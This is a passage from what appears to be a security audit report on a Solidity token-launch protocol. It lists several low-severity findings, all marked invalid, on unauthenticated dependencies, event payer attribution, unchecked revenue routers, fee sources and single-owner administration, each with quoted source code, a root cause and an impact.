contract PeripheryDeploymentTest is Test {
    uint256 internal constant DEPLOYER_KEY = 0x12345;
    Launchpad internal launchpad;
    DeterministicDeploymentHelper internal helper;

    function setUp() external {
        vm.chainId(46_630);
        address deployer = vm.addr(DEPLOYER_KEY);
        vm.deal(deployer, 100 ether);
        helper = new DeterministicDeploymentHelper(deployer);
        launchpad = Launchpad(address(new PeripheryDeploymentBinding()));
```
### `Uploaded archive/packages/contracts/src/launch/Launchpad.sol`
#### Lines 297-301 — _The real Launchpad's getLaunch is the canonical record source and rejects only records absent from that implementation._

```
    /// @notice Returns all component addresses and seed/grant accounting for a completed launch.
    function getLaunch(uint256 launchId) external view returns (LaunchRecord memory record) {
        record = _launches[launchId];
        if (record.launchId == 0) revert LaunchNotFound(launchId);
    }
```
## Description

Both `Periphery` and `OperationsPeriphery` permanently bind `launchpad` after checking only that the supplied address is nonzero and has bytecode. This does not establish that the dependency is the intended `Launchpad` deployment or that its `getLaunch` responses describe the canonical protocol graph. `Periphery` subsequently trusts returned `coin`, `fund`, `mine`, and `usdg` addresses, including transferring user tokens to itself and approving the resolver-provided fund or mine before invoking it. `OperationsPeriphery` likewise resolves a record from the unchecked dependency and dispatches maintenance calls to its supplied resonance, router, mine, fund, and coin addresses. An incompatible or stale binding can permanently make either immutable helper unusable, while a lookalike resolver can supply attacker-controlled graph components; the constructors should authenticate the canonical Launchpad address through a trusted registry/allowlist or equivalent deployment-identity mechanism before assignment.
## Root cause

The constructors treat `address(launchpad_).code.length != 0` as authentication even though bytecode presence neither establishes canonical `Launchpad` identity nor constrains the launch records it returns.
## Impact

A user interacting with a promoted `Periphery` instance bound to a malicious resolver can have Coin or USDG routed to attacker-controlled fund or mine lookalikes, which can retain the tokens rather than perform the expected operation. Incorrect or stale bindings can also permanently brick the immutable periphery helpers or cause `OperationsPeriphery` to execute maintenance against noncanonical targets, requiring deployment replacement.

---

# Periphery-routed mining events misattribute the payer
**#303373**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/periphery/Periphery.sol`
#### Lines 127-133 — _The wrapper receives funds from the external caller, emits its caller-specific event, and then invokes Mine._

```
        IERC20 usdg = IERC20(address(launchpad.usdg()));
        if (paymentAmount != 0) {
            usdg.safeTransferFrom(msg.sender, address(this), paymentAmount);
            usdg.forceApprove(record.mine, paymentAmount);
        }
        emit MiningStarted(msg.sender, record.mine, expectedEpochId);
        coreMine.mine(miner, expectedEpochId, deadline, maximumPayment, message);
```
### `Uploaded archive/packages/contracts/src/core/Mine.sol` (2 locations)
#### Lines 130-148 — _Mined event NatSpec documents payer as the account supplying payment._ — _The `Mined.payer` event field is documented as the account that initiated and supplied the payment._

```
    /// @notice Emitted after the mining slot begins a new tenure, including a possible self-replacement.
    /// @param payer Account that initiated the replacement and supplied any nonzero USDG payment.
    /// @param miner Incoming miner assigned to the slot.
    /// @param epochId Slot epoch identifier consumed by this replacement.
    /// @param previousMiner Outgoing tenure miner, possibly equal to `miner`, or zero if the slot was empty.
    /// @param paymentAmount Raw USDG price paid at execution time.
    /// @param nextInitialPrice Raw USDG starting price assigned to the next auction.
    /// @param tps Incoming miner's tenure-locked rate, in raw Coin units per second.
    /// @param message Message stored with the incoming tenure and supplied in this event.
    event Mined(
        address indexed payer,
        address indexed miner,
        uint256 indexed epochId,
        address previousMiner,
        uint256 paymentAmount,
        uint256 nextInitialPrice,
        uint256 tps,
        string message
    );
```
⋯
#### Lines 436-453 — __emitMined uses msg.sender as payer, which is Periphery's address when routed through the wrapper._ — _The core event is populated with immediate `msg.sender`, which is Periphery on wrapper calls._

```
    function _emitMined(
        address miner,
        Slot memory previousSlot,
        uint256 paymentAmount,
        Slot memory nextSlot,
        string calldata message
    ) private {
        emit Mined(
            msg.sender,
            miner,
            previousSlot.epochId,
            previousSlot.miner,
            paymentAmount,
            nextSlot.initialPrice,
            nextSlot.tps,
            message
        );
    }
```
## Description

The `Mined` event defines `payer` as the account that initiated the replacement and supplied any USDG payment. For calls routed through `Periphery`, the wrapper pulls USDG from its external `msg.sender`, then calls `Mine.mine` itself. `_emitMined` nevertheless records Mine's immediate `msg.sender`, which is the Periphery contract for that route, as `payer`. Although `Periphery` emits `MiningStarted` with the external caller, consumers treating `Mined` as the authoritative mining-payment event receive contradictory payer information. The event should preserve and emit the original payer for delegated calls, or its field documentation and semantics should be changed so it does not claim to identify the funding account.
## Root cause

`_emitMined` derives `payer` from immediate `msg.sender` even when `Periphery` has initiated the core call on behalf of, and collected payment from, an external user.
## Impact

Indexers and other off-chain consumers relying on `Mined.payer` will attribute Periphery-routed replacement payments to the shared Periphery address rather than the user that supplied USDG. This can distort payment attribution, analytics, accounting, and automation based on payer history, without changing on-chain balances.

---

# Unchecked revenue-router configuration can strand mining revenue
**#303374**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/core/Mine.sol` (3 locations)
#### Lines 234-243 — _setRevenueRouter accepts any nonzero code-bearing address_ — _The setter accepts only nonzero deployed code and updates the future revenue destination._

```
    /// @notice Replaces the destination for future mining revenue without migrating existing protocol state.
    /// @dev The destination must contain deployed code. It may be a replacement router or the canonical Fund.
    ///      No callback or interface probe is made to either destination; code presence does not prove compatibility.
    /// @param newRouter Contract receiving the remainder of future mining payments.
    function setRevenueRouter(address newRouter) external onlyOwner {
        if (newRouter == address(0) || newRouter.code.length == 0) revert ZeroAddress();
        address previousRouter = revenueRouter;
        revenueRouter = newRouter;
        emit RevenueRouterSet(previousRouter, newRouter);
    }
```
⋯
#### Lines 278-305 — _Paid mining snapshots the mutable configuration before settlement and deposits the computed remainder to the snapshotted router._

```
        PaymentConfig memory fees;
        if (paymentAmount != 0) {
            fees = PaymentConfig({
                creator: creatorFeeRecipient,
                protocol: launchpad.protocolFeeRecipient(),
                creatorBps: creatorFeeBps,
                protocolBps: launchpad.protocolFeeBps(),
                revenue: revenueRouter
            });
        }

        _settleSlot(previousSlot);

        uint256 revenueAmount = _allocatePayment(previousSlot.miner, fees, expectedEpochId, paymentAmount);
        Slot memory nextSlot = Slot({
            epochId: expectedEpochId + 1,
            initialPrice: _nextInitialPrice(paymentAmount),
            auctionStartedAt: block.timestamp,
            tps: _globalTps(),
            miner: miner,
            message: message
        });

        _slot = nextSlot;

        if (paymentAmount != 0) {
            _collectAndDeposit(msg.sender, fees.revenue, expectedEpochId, paymentAmount, revenueAmount);
        }
```
⋯
#### Lines 415-434 — __collectAndDeposit blindly transfers the revenue remainder to the configured router on every paid mine() call._ — _The selected destination receives the revenue remainder through an unconditional SafeERC20 transfer._ — _unconditional transfer of revenue remainder to the snapshotted router_

```
    /// @dev Pulls the complete raw USDG payment from `payer`, then transfers the exhaustive remainder to
    ///      the snapshotted revenue destination. The retained balance backs all pull claims. Sender and receiver
    ///      balance deltas are not checked because USDG is assumed to be a standard, non-rebasing ERC-20.
    /// @param payer Account funding the replacement.
    /// @param router Revenue destination snapshotted before the replacement's token interactions.
    /// @param epochId Identifier of the tenure consumed by the replacement.
    /// @param paymentAmount Complete raw USDG amount pulled from `payer`.
    /// @param revenueAmount Raw USDG amount transferred to the snapshotted destination.
    function _collectAndDeposit(
        address payer,
        address router,
        uint256 epochId,
        uint256 paymentAmount,
        uint256 revenueAmount
    ) private {
        usdg.safeTransferFrom(payer, address(this), paymentAmount);
        usdg.safeTransfer(router, revenueAmount);

        emit RevenueDeposited(epochId, router, revenueAmount);
    }
```
### `Uploaded archive/packages/contracts/src/core/FundController.sol`
#### Lines 93-98 — _FundController forwards owner-controlled router replacement with no additional checks_ — _The controller's current owner can invoke the Mine router setter directly._

```
    /// @notice Changes where future Mine revenue is deposited, without migrating old balances, signals, or rewards.
    /// @dev This controller remains bound to the original Resonance, which is not called during redirection.
    /// @param newRouter Contract receiving future mining revenue, including a replacement router or the Fund.
    function setRevenueRouter(address newRouter) external onlyOwner {
        mine.setRevenueRouter(newRouter);
    }
```
### `Uploaded archive/packages/contracts/test/minimal/RevenueRouter.t.sol` (2 locations)
#### Lines 18-23 — _The test sink has deployed code but its route function always reverts._ — _Demonstrates a code-bearing but functionally broken router_

```
/// @dev Demonstrates that nonzero deployed code is not proof of usable router semantics.
contract UnusableRouter {
    function route() external pure returns (uint256) {
        revert("UNUSABLE_ROUTER");
    }
}
```
⋯
#### Lines 229-239 — _Test proves funds become stuck in an unusable router after basic validation passes_ — _The test configures the unusable deployed sink, confirms it receives the payment, and confirms routing fails._

```
    function test_BasicValidationDoesNotGuaranteeAnArbitraryRouterWorks() external {
        UnusableRouter arbitrary = new UnusableRouter();
        vm.prank(CREATOR);
        controller.setRevenueRouter(address(arbitrary));
        uint256 paid = _paidMine(ALICE);
        assertEq(usdg.balanceOf(address(arbitrary)), paid);
        vm.expectRevert("UNUSABLE_ROUTER");
        arbitrary.route();
        assertEq(usdg.balanceOf(address(arbitrary)), paid);
        assertEq(nextResonance.lifetimeRevenueNotified(), 0);
    }
```
## Description

`Mine.setRevenueRouter` accepts any nonzero address with deployed code, while `FundController.setRevenueRouter` exposes that configuration to its owner. On a paid replacement, `mine()` snapshots `revenueRouter` into `PaymentConfig.revenue` and passes it to `_collectAndDeposit`. That helper unconditionally transfers the calculated USDG revenue remainder to the snapshotted address, without establishing that the destination has usable routing semantics. The included `UnusableRouter` test demonstrates that a code-bearing contract whose `route()` reverts can be configured, receive the payment, and leave the intended revenue notification unperformed. Changing the router later only changes future deposits and does not recover revenue already transferred to an incompatible destination.
## Root cause

Revenue-router admission in `setRevenueRouter` treats `newRouter.code.length > 0` as sufficient validation even though `_collectAndDeposit` irreversibly trusts the configured address for USDG transfers.
## Impact

A controller-owner mistake or compromise can cause each subsequent paid mining replacement to send its revenue remainder to a contract that cannot route or recover the USDG. The transferred revenue is then unavailable to the intended revenue flow, and repeated paid replacements can increase the stranded amount until the configuration is corrected for future payments.

---

# Unvalidated fee source can freeze or misallocate paid mining
**#303375**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/core/Mine.sol` (3 locations)
#### Lines 188-213 — _Constructor stores initialOwner as immutable ILaunchpad without validating it._ — _The constructor code-checks other dependencies but unchecked-casts initialOwner to ILaunchpad._ — _Constructor casts initialOwner to ILaunchpad without code/interface check_ — _The constructor assigns `launchpad = ILaunchpad(initialOwner)` while validating only other dependencies for deployed code._

```
    /// @notice Creates the mining market with one empty slot and an initial revenue destination.
    /// @dev Requires the token, Fund, and router dependencies to contain deployed code. The initial owner remains the
    ///      immutable fee source. In canonical launches, Launchpad binds Coin mint authority and the router graph,
    ///      then transfers ownership to FundController.
    ///      Later ownership transfers take effect immediately.
    /// @param coin_ Coin token this Mine will mint after the one-time authority handoff.
    /// @param usdg_ Standard USDG token paid by miners in raw units.
    /// @param fund_ Ownerless canonical Fund associated with the fixed launch graph.
    /// @param revenueRouter_ Initial contract receiving the complete mining-revenue remainder.
    /// @param initialOwner Canonical Launchpad and initial authority for creator-fee and revenue settings.
    constructor(address coin_, IERC20 usdg_, address fund_, address revenueRouter_, address initialOwner)
        Ownable(initialOwner)
    {
        if (
            coin_ == address(0) || address(usdg_) == address(0) || fund_ == address(0) || revenueRouter_ == address(0)
                || coin_.code.length == 0 || address(usdg_).code.length == 0 || fund_.code.length == 0
                || revenueRouter_.code.length == 0
        ) revert ZeroAddress();
        coin = ICoin(coin_);
        usdg = usdg_;
        fund = fund_;
        launchpad = ILaunchpad(initialOwner);
        startTime = block.timestamp;
        revenueRouter = revenueRouter_;
        _slot = _emptySlot();
    }
```
⋯
#### Lines 258-305 — _Positive-price mining calls the immutable fee source getters before completing the replacement._ — _mine() reverts on launchpad.protocolFeeRecipient()/protocolFeeBps() if interface unsupported_ — _Positive-price replacements query the immutable fee source's two getters before settlement and payment collection._

```
    function mine(
        address miner,
        uint256 expectedEpochId,
        uint256 deadline,
        uint256 maximumPayment,
        string calldata message
    ) external nonReentrant returns (uint256 paymentAmount) {
        if (miner == address(0)) revert ZeroAddress();
        if (miner == fund) revert InvalidMiner(miner);
        if (block.timestamp > deadline) revert DeadlinePassed(deadline);
        uint256 messageLength = bytes(message).length;
        if (messageLength > MAX_MESSAGE_BYTES) revert MessageTooLong(messageLength);
        Slot memory previousSlot = _slot;
        if (expectedEpochId != previousSlot.epochId) {
            revert EpochIdMismatch(expectedEpochId, previousSlot.epochId);
        }

        paymentAmount = _price(previousSlot);
        if (paymentAmount > maximumPayment) revert MaximumPaymentExceeded(paymentAmount, maximumPayment);

        PaymentConfig memory fees;
        if (paymentAmount != 0) {
            fees = PaymentConfig({
                creator: creatorFeeRecipient,
                protocol: launchpad.protocolFeeRecipient(),
                creatorBps: creatorFeeBps,
                protocolBps: launchpad.protocolFeeBps(),
                revenue: revenueRouter
            });
        }

        _settleSlot(previousSlot);

        uint256 revenueAmount = _allocatePayment(previousSlot.miner, fees, expectedEpochId, paymentAmount);
        Slot memory nextSlot = Slot({
            epochId: expectedEpochId + 1,
            initialPrice: _nextInitialPrice(paymentAmount),
            auctionStartedAt: block.timestamp,
            tps: _globalTps(),
            miner: miner,
            message: message
        });

        _slot = nextSlot;

        if (paymentAmount != 0) {
            _collectAndDeposit(msg.sender, fees.revenue, expectedEpochId, paymentAmount, revenueAmount);
        }
```
⋯
#### Lines 382-412 — _protocolBps from the fee source is never bounded before being used in payment allocation, allowing underflow revert._ — _Unbounded returned protocol BPS is used in payment allocation and remainder subtraction._

```
    function _allocatePayment(address previousMiner, PaymentConfig memory fees, uint256 epochId, uint256 paymentAmount)
        private
        returns (uint256 revenueAmount)
    {
        if (paymentAmount == 0) return 0;

        uint256 previousMinerAmount;
        if (previousMiner != address(0)) {
            previousMinerAmount = Math.mulDiv(paymentAmount, PREVIOUS_MINER_BPS, BPS);
            claimablePayment[previousMiner] += previousMinerAmount;
            totalClaimablePayments += previousMinerAmount;
            emit MinerPaymentAccrued(previousMiner, epochId, previousMinerAmount);
        }

        uint256 creatorAmount;
        if (fees.creator != address(0)) {
            creatorAmount = Math.mulDiv(paymentAmount, fees.creatorBps, BPS);
            claimablePayment[fees.creator] += creatorAmount;
            totalClaimablePayments += creatorAmount;
            emit CreatorFeeAccrued(fees.creator, epochId, creatorAmount);
        }

        uint256 protocolAmount;
        if (fees.protocol != address(0)) {
            protocolAmount = Math.mulDiv(paymentAmount, fees.protocolBps, BPS);
            claimablePayment[fees.protocol] += protocolAmount;
            totalClaimablePayments += protocolAmount;
            emit ProtocolFeeAccrued(fees.protocol, epochId, protocolAmount);
        }

        revenueAmount = paymentAmount - previousMinerAmount - creatorAmount - protocolAmount;
```
### `Uploaded archive/packages/contracts/src/launch/MineDeployer.sol` (2 locations)
#### Lines 9-20 — _Permissionless deployer forwards msg.sender as Mine initial owner and permanent fee source._ — _Permissionless deploy() forwards arbitrary msg.sender as initialOwner/fee source_ — _The helper passes arbitrary `msg.sender` as the Mine constructor's `initialOwner`._

```
/// @notice Deploys Mine contracts without retaining ownership or mutable state.
contract MineDeployer {
    /// @notice Deploys a Mine with the caller as initial owner and permanent fee source.
    /// @dev The caller must expose `protocolFeeRecipient()` and `protocolFeeBps()` for paid mining.
    /// @param coin Coin minted as mining emission.
    /// @param usdg Token used to pay for the mining slot.
    /// @param fund Fund forbidden from becoming a mining beneficiary.
    /// @param resonanceRouter Initial destination for mining revenue; the Mine owner may replace it for future payments.
    /// @return mine Newly deployed Mine.
    function deploy(Coin coin, IERC20 usdg, address fund, address resonanceRouter) external returns (Mine mine) {
        mine = new Mine(address(coin), usdg, fund, resonanceRouter, msg.sender);
    }
```
⋯
#### Lines 10-21 — _Permissionless deployer forwards arbitrary msg.sender as initialOwner/fee source_

```
contract MineDeployer {
    /// @notice Deploys a Mine with the caller as initial owner and permanent fee source.
    /// @dev The caller must expose `protocolFeeRecipient()` and `protocolFeeBps()` for paid mining.
    /// @param coin Coin minted as mining emission.
    /// @param usdg Token used to pay for the mining slot.
    /// @param fund Fund forbidden from becoming a mining beneficiary.
    /// @param resonanceRouter Initial destination for mining revenue; the Mine owner may replace it for future payments.
    /// @return mine Newly deployed Mine.
    function deploy(Coin coin, IERC20 usdg, address fund, address resonanceRouter) external returns (Mine mine) {
        mine = new Mine(address(coin), usdg, fund, resonanceRouter, msg.sender);
    }
}
```
### `Uploaded archive/packages/contracts/src/launch/Launchpad.sol`
#### Lines 328-342 — _Canonical assembly calls MineDeployer from Launchpad and then configures the returned Mine._ — _Canonical Launchpad wiring invokes the deployer and configures the resulting Mine, establishing why the issue is limited to alternate/misconfigured helper deployments._

```
    function _deployAdministration(
        LaunchRecord memory r,
        string calldata metadataURI,
        address creatorFeeRecipient,
        uint256 creatorFeeBps
    ) private {
        r.resonanceRouter = address(routerDeployer.deploy(IERC20(address(usdg)), Resonance(r.resonance)));
        Mine mine = mineDeployer.deploy(Coin(r.coin), IERC20(address(usdg)), r.fund, r.resonanceRouter);
        r.mine = address(mine);
        Coin(r.coin).setTokenURI(metadataURI);
        mine.setCreatorFeeBps(creatorFeeBps);
        mine.setCreatorFeeRecipient(creatorFeeRecipient);
        SignalCoin(r.signalCoin).setResonance(r.resonance);
        Resonance(r.resonance).setResonanceRouter(r.resonanceRouter);
    }
```
## Description

`MineDeployer.deploy` is permissionless and forwards its arbitrary `msg.sender` to `Mine` as both the initial owner and the immutable `ILaunchpad` fee source. Although the constructor verifies code exists at the token, Fund, and router dependencies, it unchecked-casts `initialOwner` to `ILaunchpad` without establishing that the required fee getters are callable. On each nonzero-price `mine` call, `Mine` queries `protocolFeeRecipient()` and `protocolFeeBps()` from that immutable source before progressing the paid replacement. It also uses the returned `protocolFeeBps` in `_allocatePayment` without a local bound before subtracting all allocations from `paymentAmount`. The canonical `Launchpad` flow calls the deployer itself and therefore supplies the expected fee source, but direct or alternate use of the reusable deployer can permanently bind an invalid or adversarial source.
## Root cause

`MineDeployer.deploy` binds an arbitrary caller as `Mine`'s immutable `ILaunchpad` dependency, while `Mine` neither validates the dependency's required getters nor enforces a safe bound on the returned `protocolFeeBps`.
## Impact

An EOA or incompatible fee source makes every positive-price replacement revert, leaving paid mining unavailable for that deployed instance. A caller-controlled compatible source can choose the fee recipient and an excessive fee rate, which can direct payment allocations to that recipient or make the remainder subtraction revert when allocations exceed `paymentAmount`; this affects non-canonical instances rather than the canonical `Launchpad` deployment path.

---

# Single-key control over protocol revenue and administration
**#303376**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/core/FundController.sol` (3 locations)
#### Line 18 — _Single Ownable2Step owner model_

```
contract FundController is Ownable2Step {
```
⋯
#### Lines 41-49 — _The controller accepts arbitrary `initialOwner` and initializes the single Ownable authority._

```
    constructor(address initialOwner, address coin_, Mine mine_, Resonance resonance_) Ownable(initialOwner) {
        if (
            coin_ == address(0) || address(mine_) == address(0) || address(resonance_) == address(0)
                || coin_.code.length == 0 || address(mine_).code.length == 0 || address(resonance_).code.length == 0
        ) revert ZeroAddress();

        coin = coin_;
        mine = mine_;
        resonance = resonance_;
```
⋯
#### Lines 58-133 — _The same `onlyOwner` boundary controls ownership handoffs, revenue routing, manager replacement, community opening, strategy lifecycle, and Bribe-share policy._ — _The controller owner can immediately transfer Coin, Mine, and Resonance ownership._ — _Unbounded, undelayed Mine/Resonance ownership transfer_ — _The controller owner can redirect Mine revenue, replace the signal manager, irreversibly open community signaling, add/kill strategies, and change Bribe routing._ — _The controller owner forwards revenue-router, strategy lifecycle, and Bribe administration operations._ — _Unbounded, undelayed revenue router redirection_ — _Owner-only forwarding surface includes revenue-router, signal-manager, community-opening, strategy, reward-token, and bribe configuration operations._

```
    /// @notice Immediately transfers Coin ownership to a nonzero address.
    /// @dev Mint authority remains independently locked to Mine.
    function transferCoinOwnership(address newOwner) external onlyOwner {
        Coin(coin).transferOwnership(newOwner);
    }

    /// @notice Immediately transfers Mine ownership to a nonzero address.
    /// @dev This controller loses Mine administration as soon as the transfer succeeds.
    function transferMineOwnership(address newOwner) external onlyOwner {
        mine.transferOwnership(newOwner);
    }

    /// @notice Immediately transfers Resonance ownership to a nonzero address.
    /// @dev This controller loses Resonance administration as soon as the transfer succeeds.
    function transferResonanceOwnership(address newOwner) external onlyOwner {
        resonance.transferOwnership(newOwner);
    }

    /// @notice Transfers a controller-owned pool's fee-administration ownership.
    /// @dev The pool must be owned by this controller. No LP shares are moved.
    function transferLiquidityPoolOwnership(address pool, address newOwner) external onlyOwner {
        _controllerOwnedPool(pool).transferOwnership(newOwner);
    }

    /// @notice Changes the recipient of future Mine creator fees; zero disables new accruals.
    function setCreatorFeeRecipient(address newRecipient) external onlyOwner {
        mine.setCreatorFeeRecipient(newRecipient);
    }

    /// @notice Changes the rate of future Mine creator fees without changing existing claims.
    /// @param newFeeBps Creator fee in basis points, within the inclusive 1 to 200 range.
    function setCreatorFeeBps(uint256 newFeeBps) external onlyOwner {
        mine.setCreatorFeeBps(newFeeBps);
    }

    /// @notice Changes where future Mine revenue is deposited, without migrating old balances, signals, or rewards.
    /// @dev This controller remains bound to the original Resonance, which is not called during redirection.
    /// @param newRouter Contract receiving future mining revenue, including a replacement router or the Fund.
    function setRevenueRouter(address newRouter) external onlyOwner {
        mine.setRevenueRouter(newRouter);
    }

    /// @notice Replaces the wallet allowed to make future managed signal additions without moving existing positions.
    function setSignalManager(address newSignalManager) external onlyOwner {
        resonance.setSignalManager(newSignalManager);
    }

    /// @notice Opens managed signaling to the community permanently.
    /// @dev Existing positions stay with their holders, and the Bribe share remains zero until separately changed.
    function openToCommunity() external onlyOwner {
        resonance.openToCommunity();
    }

    /// @notice Adds a Strategy (Auction, BribeRouter, and Bribe) to Resonance with the supplied auction configuration.
    function addStrategy(IERC20 paymentToken, Auction.Config calldata config)
        external
        onlyOwner
        returns (address strategy, address bribe, address bribeRouter)
    {
        return resonance.addStrategy(paymentToken, config);
    }

    /// @notice Retires a Strategy permanently while preserving existing signal withdrawals and earned claims.
    function killStrategy(address strategy) external onlyOwner {
        resonance.killStrategy(strategy);
    }

    /// @notice Adds a reward token to a registered Strategy's Bribe.
    function addBribeRewardToken(address strategy, address rewardToken) external onlyOwner {
        resonance.addBribeRewardToken(strategy, rewardToken);
    }

    /// @notice Sets the Bribe share of Auction purchase payments; Fund receives the remainder.
    /// @dev Managed signaling permits only a zero Bribe share.
    function setBribeBps(uint256 newBribeBps) external onlyOwner {
        resonance.setBribeBps(newBribeBps);
```
### `Uploaded archive/packages/contracts/src/core/Resonance.sol` (2 locations)
#### Lines 398-438 — _Resonance exposes owner-only Bribe policy and the irreversible manager-to-community transition, with no independent approval layer._ — _Resonance applies ordinary onlyOwner checks to bribe and signal-manager lifecycle administration, including irreversible community opening._

```
    /// @notice Sets the prospective paired-Bribe share for every later Auction purchase.
    /// @dev Callable only by the current owner. Community mode accepts values from zero through `MAX_BRIBE_BPS`;
    ///      manager-directed mode accepts only zero. Each Auction snapshots this value before token interaction, so
    ///      earlier and in-flight purchases and active Bribe reward streams are not repriced.
    /// @param newBribeBps New global share in basis points; nonzero values require community signaling.
    function setBribeBps(uint256 newBribeBps) external onlyOwner {
        if (newBribeBps > MAX_BRIBE_BPS) revert BribeBpsAboveMaximum(newBribeBps);
        if (signalManager != address(0) && newBribeBps != 0) revert ManagedFundBribeBpsNonzero(newBribeBps);

        uint256 previousBps = bribeBps;
        bribeBps = newBribeBps;

        emit BribeBpsSet(previousBps, newBribeBps);
    }

    /// @notice Replaces the operating wallet authorized to make future managed signal additions.
    /// @dev Callable only by the owner while `signalManager` remains nonzero. Existing signal is not moved, removed, or
    ///      reassigned. A former manager keeps its claims and exits but cannot add while another manager is assigned.
    ///      A zero candidate is rejected; `openToCommunity` is the sole path that clears the manager.
    /// @param newSignalManager Nonzero wallet receiving future signal-addition authority.
    function setSignalManager(address newSignalManager) external onlyOwner {
        if (signalManager == address(0)) revert CommunitySignalAlreadyOpen();
        if (newSignalManager == address(0)) revert ZeroAddress();

        address previousSignalManager = signalManager;
        signalManager = newSignalManager;

        emit SignalManagerSet(previousSignalManager, newSignalManager);
    }

    /// @notice Opens signal additions to every Coin holder permanently.
    /// @dev Callable only by the owner while a nonzero manager exists. Existing manager positions remain unchanged.
    ///      The automatic Bribe share remains zero until governance later chooses a value through
    ///      `setBribeBps`; no function can restore managed signaling.
    function openToCommunity() external onlyOwner {
        address previousSignalManager = signalManager;
        if (previousSignalManager == address(0)) revert CommunitySignalAlreadyOpen();

        signalManager = address(0);

        emit CommunitySignalOpened(previousSignalManager);
```
⋯
#### Lines 452-514 — _Resonance owner-only strategy addition, retirement, and reward-token registration are high-impact configuration paths._ — _The same owner controls strategy registration and irreversible strategy killing._

```
    function addStrategy(IERC20 paymentToken, Auction.Config calldata config)
        external
        nonReentrant
        onlyOwner
        returns (address strategyAddress, address bribeAddress, address bribeRouterAddress)
    {
        if (address(paymentToken) == address(signalCoin)) {
            revert ForbiddenPaymentToken(address(paymentToken));
        }

        Bribe bribe = bribeFactory.createBribe();
        bribe.addRewardToken(address(paymentToken));

        (Auction auction, BribeRouter bribeRouter) =
            auctionFactory.createAuctionAndRouter(usdg, paymentToken, fund, bribe, config);

        strategyAddress = address(auction);
        bribeAddress = address(bribe);
        bribeRouterAddress = address(bribeRouter);

        bribeFor[strategyAddress] = bribeAddress;
        isStrategyLive[strategyAddress] = true;
        ++strategyCount;
        ++liveStrategyCount;
        bribeRouterFor[strategyAddress] = bribeRouterAddress;
        strategyRevenuePerSignalPaid[strategyAddress] = revenueData.revenuePerSignalStored;

        emit StrategyAdded(strategyAddress, bribeAddress, bribeRouterAddress, address(paymentToken));
    }

    /// @notice Disables new signal and future revenue for a registered Strategy permanently.
    /// @dev Callable only by the current owner. Checkpoints the Strategy under its full prior weight, preserves that
    ///      accrued USDG for later permissionless distribution, marks the Strategy dead, and removes its complete
    ///      paired-Bribe weight from the active total. Existing signal and Bribe rewards remain recorded and removable.
    ///      The final live Strategy cannot be killed.
    /// @param strategy Live registered Strategy to kill irreversibly.
    function killStrategy(address strategy) external nonReentrant onlyOwner {
        _updateRevenue(strategy);
        if (!isStrategyRegistered(strategy)) revert StrategyNotFound(strategy);
        if (!isStrategyLive[strategy]) revert StrategyAlreadyDead(strategy);
        if (liveStrategyCount == 1) revert FinalLiveStrategy(strategy);

        isStrategyLive[strategy] = false;
        --liveStrategyCount;
        totalSignalWeight -= _strategySignalWeight(strategy);

        emit StrategyKilled(strategy);
    }

    /// @notice Registers an additional independently funded reward token on a registered Strategy's Bribe.
    /// @dev Callable only by the current owner. The Strategy may be live or killed. The reward token must be a deployed
    ///      contract and cannot be SignalCoin. The paired Bribe enforces its append-only sixteen-token registry,
    ///      duplicate rejection, and later notification rules.
    /// @param strategy Registered Strategy whose paired Bribe receives the token.
    /// @param rewardToken ERC-20 token to add to the paired Bribe's reward registry.
    function addBribeRewardToken(address strategy, address rewardToken) external onlyOwner {
        if (!isStrategyRegistered(strategy)) revert StrategyNotFound(strategy);
        if (rewardToken == address(signalCoin)) revert ForbiddenRewardToken(rewardToken);

        address bribe = bribeFor[strategy];
        Bribe(bribe).addRewardToken(rewardToken);

        emit BribeRewardTokenAdded(strategy, bribe, rewardToken);
```
### `Uploaded archive/packages/contracts/src/launch/ControllerDeployer.sol`
#### Lines 8-21 — _The controller is deployed with `creator` as its initial owner._

```
/// @notice Deploys FundController contracts without retaining ownership or mutable state.
contract ControllerDeployer {
    /// @notice Deploys a FundController owned by `creator` for one assembled launch.
    /// @dev Coin, Mine, Resonance and LP-token configuration ownership must be transferred to the controller separately.
    /// @param creator Initial owner of the controller.
    /// @param coin Coin associated with the launch.
    /// @param mine Mine administered by the controller.
    /// @param resonance Resonance administered by the controller.
    /// @return controller Newly deployed FundController.
    function deploy(address creator, address coin, Mine mine, Resonance resonance)
        external
        returns (FundController controller)
    {
        controller = new FundController(creator, coin, mine, resonance);
```
### `Uploaded archive/packages/contracts/src/launch/Launchpad.sol` (2 locations)
#### Lines 260-263 — _The controller is deployed with `result.originalCreator` as its owner._

```
        result.controller = address(
            controllerDeployer.deploy(
                result.originalCreator, result.coin, Mine(result.mine), Resonance(result.resonance)
            )
```
⋯
#### Lines 407-414 — _The launch transfers core component administration to the controller._ — _Mine and Resonance ownership are transferred to the controller during launch completion._

```
    /// @dev Disables SignalCoin setup and hands component administration to the creator-owned controller.
    function _completeOwnership(LaunchRecord memory r) private {
        SignalCoin(r.signalCoin).renounceOwnership();
        Coin(r.coin).transferOwnership(r.controller);
        Mine(r.mine).transferOwnership(r.controller);
        Resonance(r.resonance).transferOwnership(r.controller);
        FullRangeERC20(r.pool).transferOwnership(r.controller);
    }
```
### `Uploaded archive/packages/contracts/src/core/Mine.sol`
#### Lines 234-242 — _The revenue router setter accepts any nonzero deployed address and updates the future revenue destination._

```
    /// @notice Replaces the destination for future mining revenue without migrating existing protocol state.
    /// @dev The destination must contain deployed code. It may be a replacement router or the canonical Fund.
    ///      No callback or interface probe is made to either destination; code presence does not prove compatibility.
    /// @param newRouter Contract receiving the remainder of future mining payments.
    function setRevenueRouter(address newRouter) external onlyOwner {
        if (newRouter == address(0) || newRouter.code.length == 0) revert ZeroAddress();
        address previousRouter = revenueRouter;
        revenueRouter = newRouter;
        emit RevenueRouterSet(previousRouter, newRouter);
```
## Description

